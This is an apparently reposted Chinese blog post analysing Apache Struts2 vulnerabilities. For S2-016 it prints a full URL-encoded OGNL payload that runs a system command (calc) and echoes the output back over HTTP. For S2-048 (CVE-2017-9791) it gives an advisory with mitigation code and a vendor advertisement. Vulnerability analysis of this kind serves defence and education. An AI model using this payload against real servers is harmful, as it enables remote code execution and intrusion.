漏洞分析.Struts2
Posted Jayden@gzm
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞分析.Struts2相关的知识,希望对你有一定的参考价值。
S2-016
简述
在struts2中,DefaultActionMapper类支持以action:、redirect:、redirectAction:作为重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用Java静态方法执行任意系统命令。
Payload
http://localhost:8080/s2_016_war_exploded/index.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%22calc%22%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read%28%23d%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%23d%29%2C%23genxor.flush%28%29%2C%
午夜惊魂! Struts2 showcase现远程代码执行漏洞
漏洞详情:
Struts2官方已经确认该漏洞(漏洞编号S2-048,CVE编号:CVE-2017-9791),漏洞危害程度为高危。
受影响版本:Struts 2.3.x系列中的showcase应用
漏洞利用前置条件:必须使用Struts-core-1.x.x.jar插件,且ActionMessage类的key属性可控。
漏洞描述:在Struts 2.3.x 系列的Showcase 应用中演示Struts2整合Struts 1 的插件中存在一处任意代码执行漏洞。当Apache Struts 2中的 Struts 1插件启用时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行。
解决方案:
目前Apache官方暂未发布官方补丁。可采用一下缓解措施。
方法一:
向ActionMessage传递原始消息时,始终使用类似a情形的资源键值,而不是将原始数值传递给ActionMessage如b的情形:
情形a:
messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
情形b:
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));
方法二:
停用showcase.war
方法三:
安恒信息玄武盾产品可为广大客户提供0day期间的防护,建议尽快与高嘉科技联系并快速接入。
提醒广大用户,各种民间poc已经在路上,此事应慎重对待,刻不容缓。
以上是关于漏洞分析.Struts2的主要内容,如果未能解决你的问题,请参考以下文章